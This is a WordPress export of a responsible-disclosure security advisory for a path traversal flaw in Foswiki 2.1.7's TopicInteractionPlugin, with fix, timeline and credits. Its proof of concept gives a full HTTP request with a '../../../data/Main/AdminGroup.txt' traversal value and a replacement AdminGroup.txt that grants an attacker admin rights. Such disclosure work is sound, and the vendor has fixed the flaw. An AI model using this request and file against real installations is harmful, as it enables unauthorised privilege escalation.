{"id":20305,"date":"2023-06-16T15:45:53","date_gmt":"2023-06-16T13:45:53","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=20305"},"modified":"2023-06-30T14:00:33","modified_gmt":"2023-06-30T12:00:33","slug":"usd-2022-0014","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0014\/","title":{"rendered":"usd-2022-0014"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.21.0\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2022-0014 | Foswiki 2.1.7 Path Traversal<\/h1>\n<p><strong><\/strong><\/p>\n<p><strong>Advisory ID:<\/strong> usd-2022-0014<br \/>\n<strong>Product:<\/strong> Foswiki<br \/>\n<strong>Affected Version:<\/strong> 2.1.7<br \/>\n<strong>Vulnerability Type: <a>https:\/\/cwe.mitre.org\/data\/definitions\/23.html<\/a><\/strong><br \/>\n<strong>Security Risk:<\/strong> High<br \/>\n<strong>Vendor URL:<\/strong> <a>https:\/\/foswiki.org<\/a><br \/>\n<strong>Vendor acknowledged vulnerability:<\/strong> Yes<br \/>\n<strong>Vendor Status:<\/strong> Fixed<br \/>\n<strong>Advisory Status:<\/strong> Closed<br \/>\n<strong>Last Update:<\/strong> 2022-01-22<\/p>\n<h1>Description<\/h1>\n<p>The <strong>TopicInteractionPlugin<\/strong> allows relative path traversal by changing the <strong>filename<\/strong> parameter. The plugin moves attachments to other wiki pages. These attachments are stored in <strong>pub\/&lt;web&gt;\/&lt;topic&gt;<\/strong>&nbsp;directory. The content of the wiki pages are stored in <strong>data\/<\/strong> directory. Going back three directories allows to move files outside the <strong>pub<\/strong> directory (e.g. the AdminGroup.txt file which handles the permissions to the backend configuration pages.)<\/p>\n<h1>Proof of Concept<\/h1>\n<p>The following requests (re)moves the file <strong>AdminGroup.txt<\/strong> of the <em>Main<\/em> web, which allows an attacker to create a new one afterwards and become <em>AdminGroup<\/em> member.<\/p>\n<p>The following request remove the file \"AdminGroup.txt\":<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/bin\/rest\/TopicInteractionPlugin\/move<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">localhost\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">User-Agent<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Mozilla\/5.0 (X11; Linux x86_64; rv:100.0) Gecko\/20100101 Firefox\/100.0\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/json, text\/javascript, *\/*; q=0.01\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Language<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">en-US,en;q=0.5\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Encoding<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">gzip, deflate\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/x-www-form-urlencoded; charset=UTF-8\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">X-Requested-With<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">XMLHttpRequest\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">129\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Origin<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\"><a href=\"http:\/\/localhost\" target=\"_blank\" rel=\"noopener\">http:\/\/localhost<\/a>\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Connection<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">close\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Referer<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\"><a href=\"http:\/\/localhost\/Main\/ChrisChris\" target=\"_blank\" rel=\"noopener\">http:\/\/localhost\/Main\/ChrisChris<\/a>\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">FOSWIKISID=582be25dd6c36a6d45e6a37277378374; FOSWIKISTRIKEONE=21d8825b6b492836f1235aa0293bc310\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Sec-Fetch-Dest<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">empty\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Sec-Fetch-Mode<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">cors\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Sec-Fetch-Site<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">same-origin<\/span><\/pre>\n<p>validation_key=06f78c2c2612a63bf8a8eef6aee71544&amp;id=move&amp;filename=..\/..\/..\/data\/Main\/AdminGroup.txt&amp;topic=Main.ChrisChris&amp;newweb=Sandbox&amp;newtopic=Test<\/p>\n<\/div>\n<p>&nbsp;<\/p>\n<p>Afterwards a user can create a new one, which contains their username and become an admin.<\/p>\n<p>The following content can be used for a new AdminGroup.txt file.<\/p>\n<pre>%META:TOPICINFO{author=\"BaseUserMapping_999\" comment=\"\" date=\"1648462765\" format=\"1.1\" version=\"1\"}%\n%META:TOPICPARENT{name=\"WikiGroups\"}%\n\n%INCLUDE{\"%USERSWEB%.AdminUser\" section=\"sudo_login\"}%\n\n%IF{\"(NOT defined GROUP) OR $GROUP = ''\" then='\n&lt;sticky&gt;&lt;div class=\"foswikiNotification\"&gt;&lt;\/sticky&gt;\n*How to add the first administrator* %BR%\nIf you haven\\'t previously set up an administrator, follow these steps: (*Note:* This help text will disappear once you have added a user to this group.)\n$percntINCLUDE{\"%SYSTEMWEB%.InstallationGuide\" section=\"addadmin\"}$percnt\n&lt;sticky&gt;&lt;\/div&gt;&lt;\/sticky&gt;'}%\n\nMore information on Administrators, and on how to use the AdminGroup is found in the [[%SYSTEMWEB%.InstallationGuide#DefineAdminUser][Installation Guide]]\n\nYou can edit this topic to add a description to the AdminGroup\n\n%META:PREFERENCE{name=\"GROUP\" title=\"GROUP\" type=\"Set\" value=\"\"}%\n%META:PREFERENCE{name=\"ALLOWTOPICCHANGE\" title=\"ALLOWTOPICCHANGE\" type=\"Set\" value=\"AdminGroup,ChrisChris\"}%\n%META:PREFERENCE{name=\"VIEW_TEMPLATE\" title=\"VIEW_TEMPLATE\" type=\"Set\" value=\"GroupView\"}<\/pre>\n<p>&nbsp;<\/p>\n<p>The \"ALLOWTOPICCHANGE\" permission contains our username, which allows us to become an admin user.<\/p>\n<h1>Fix<\/h1>\n<p>Restrict the movement of attachments to the <strong>pub<\/strong> directory.<\/p>\n<h1>References<\/h1>\n<p><a>https:\/\/owasp.org\/www-community\/attacks\/Path_Traversal<\/a><\/p>\n<h1>Timeline<\/h1>\n<ul>\n<li><strong>2022-01-05:<\/strong> Vulnerability identified by Christian P\u00f6schl<\/li>\n<li><strong style=\"font-size: 16px\">2022-04-27<\/strong>: First contact request made to the vendor<\/li>\n<li><strong>2022-05-05:<\/strong> <span>Second contact request made to the vendor<\/span><\/li>\n<li><span><strong>2022-06-09:<\/strong> Share vulnerability details with vendor<\/span><\/li>\n<li><strong>2022-06-09:<\/strong> Fix released by vendor<\/li>\n<\/ul>\n<h1>Credits<\/h1>\n<p>This security vulnerability was found by Christian P\u00f6schl of usd AG.<\/p>\n<pre><\/pre>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0014 | Foswiki 2.1.7 Path Traversal Advisory ID: usd-2022-0014 Product: Foswiki Affected Version: 2.1.7 Vulnerability Type: https:\/\/cwe.mitre.org\/data\/definitions\/23.html Security Risk: High Vendor URL: https:\/\/foswiki.org Vendor acknowledged vulnerability: Yes Vendor Status: Fixed Advisory Status: Closed Last Update: 2022-01-22 Description The TopicInteractionPlugin allows relative path traversal by changing the filename parameter. The plugin moves attachments to other wiki [&hellip;]<\/p>\n","protected":false},"author":90,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.21.0\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]\n<h1>usd-2022-0014 | Foswiki 2.1.7 Path Traversal<\/h1>\n<strong><\/strong>\n\n<strong>Advisory ID:<\/strong> usd-2022-0014\n<strong>Product:<\/strong> Foswiki\n<strong>Affected Version:<\/strong> 2.1.7\n<strong>Vulnerability Type: <a>https:\/\/cwe.mitre.org\/data\/definitions\/23.html<\/a><\/strong>\n<strong>Security Risk:<\/strong> High\n<strong>Vendor URL:<\/strong> <a>https:\/\/foswiki.org<\/a>\n<strong>Vendor acknowledged vulnerability:<\/strong> Yes\n<strong>Vendor Status:<\/strong> Fixed\n<strong>Advisory Status:<\/strong> Closed\n<strong>Last Update:<\/strong> 2022-01-22\n<h1>Description<\/h1>\nThe <strong>TopicInteractionPlugin<\/strong> allows relative path traversal by changing the <strong>filename<\/strong> parameter. The plugin moves attachments to other wiki pages. These attachments are stored in <strong>pub\/&lt;web&gt;\/&lt;topic&gt;<\/strong>&nbsp;directory. The content of the wiki pages are stored in <strong>data\/<\/strong> directory. Going back three directories allows to move files outside the <strong>pub<\/strong> directory (e.g. the AdminGroup.txt file which handles the permissions to the backend configuration pages.)\n<h1>Proof of Concept<\/h1>\nThe following requests (re)moves the file <strong>AdminGroup.txt<\/strong> of the <em>Main<\/em> web, which allows an attacker to create a new one afterwards and become <em>AdminGroup<\/em> member.\n\nThe following request remove the file \"AdminGroup.txt\":\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/bin\/rest\/TopicInteractionPlugin\/move<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">localhost\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">User-Agent<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Mozilla\/5.0 (X11; Linux x86_64; rv:100.0) Gecko\/20100101 Firefox\/100.0\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/json, text\/javascript, *\/*; q=0.01\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Language<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">en-US,en;q=0.5\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Encoding<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">gzip, deflate\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/x-www-form-urlencoded; charset=UTF-8\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">X-Requested-With<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">XMLHttpRequest\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">129\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Origin<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\"><a href=\"http:\/\/localhost\">http:\/\/localhost<\/a>\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Connection<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">close\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Referer<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\"><a href=\"http:\/\/localhost\/Main\/ChrisChris\">http:\/\/localhost\/Main\/ChrisChris<\/a>\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">FOSWIKISID=582be25dd6c36a6d45e6a37277378374; FOSWIKISTRIKEONE=21d8825b6b492836f1235aa0293bc310\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Sec-Fetch-Dest<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">empty\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Sec-Fetch-Mode<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">cors\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Sec-Fetch-Site<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">same-origin<\/span><\/pre>\nvalidation_key=06f78c2c2612a63bf8a8eef6aee71544&amp;id=move&amp;filename=..\/..\/..\/data\/Main\/AdminGroup.txt&amp;topic=Main.ChrisChris&amp;newweb=Sandbox&amp;newtopic=Test\n\n<\/div>\n&nbsp;\n\nAfterwards a user can create a new one, which contains their username and become an admin.\n\nThe following content can be used for a new AdminGroup.txt file.\n<pre>%META:TOPICINFO{author=\"BaseUserMapping_999\" comment=\"\" date=\"1648462765\" format=\"1.1\" version=\"1\"}%\n%META:TOPICPARENT{name=\"WikiGroups\"}%\n\n%INCLUDE{\"%USERSWEB%.AdminUser\" section=\"sudo_login\"}%\n\n%IF{\"(NOT defined GROUP) OR $GROUP = ''\" then='\n&lt;sticky&gt;&lt;div class=\"foswikiNotification\"&gt;&lt;\/sticky&gt;\n*How to add the first administrator* %BR%\nIf you haven\\'t previously set up an administrator, follow these steps: (*Note:* This help text will disappear once you have added a user to this group.)\n$percntINCLUDE{\"%SYSTEMWEB%.InstallationGuide\" section=\"addadmin\"}$percnt\n&lt;sticky&gt;&lt;\/div&gt;&lt;\/sticky&gt;'}%\n\nMore information on Administrators, and on how to use the AdminGroup is found in the [[%SYSTEMWEB%.InstallationGuide#DefineAdminUser][Installation Guide]]\n\nYou can edit this topic to add a description to the AdminGroup\n\n%META:PREFERENCE{name=\"GROUP\" title=\"GROUP\" type=\"Set\" value=\"\"}%\n%META:PREFERENCE{name=\"ALLOWTOPICCHANGE\" title=\"ALLOWTOPICCHANGE\" type=\"Set\" value=\"AdminGroup,ChrisChris\"}%\n%META:PREFERENCE{name=\"VIEW_TEMPLATE\" title=\"VIEW_TEMPLATE\" type=\"Set\" value=\"GroupView\"}<\/pre>\n&nbsp;\n\nThe \"ALLOWTOPICCHANGE\" permission contains our username, which allows us to become an admin user.\n<h1>Fix<\/h1>\nRestrict the movement of attachments to the <strong>pub<\/strong> directory.\n<h1>References<\/h1>\n<a>https:\/\/owasp.org\/www-community\/attacks\/Path_Traversal<\/a>\n<h1>Timeline<\/h1>\n<ul>\n \t<li><strong>2022-01-05:<\/strong> Vulnerability identified by Christian P\u00f6schl<\/li>\n \t<li><strong style=\"font-size: 16px\">2022-04-27<\/strong>: First contact request made to the vendor<\/li>\n \t<li><strong>2022-05-05:<\/strong> <span>Second contact request made to the vendor<\/span><\/li>\n \t<li><span><strong>2022-06-09:<\/strong> Share vulnerability details with vendor<\/span><\/li>\n \t<li><strong>2022-06-09:<\/strong> Fix released by vendor<\/li>\n<\/ul>\n<h1>Credits<\/h1>\nThis security vulnerability was found by Christian P\u00f6schl of usd AG.\n<pre><\/pre>\n[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-20305","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20305","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/90"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=20305"}],"version-history":[{"count":4,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20305\/revisions"}],"predecessor-version":[{"id":20490,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20305\/revisions\/20490"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=20305"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}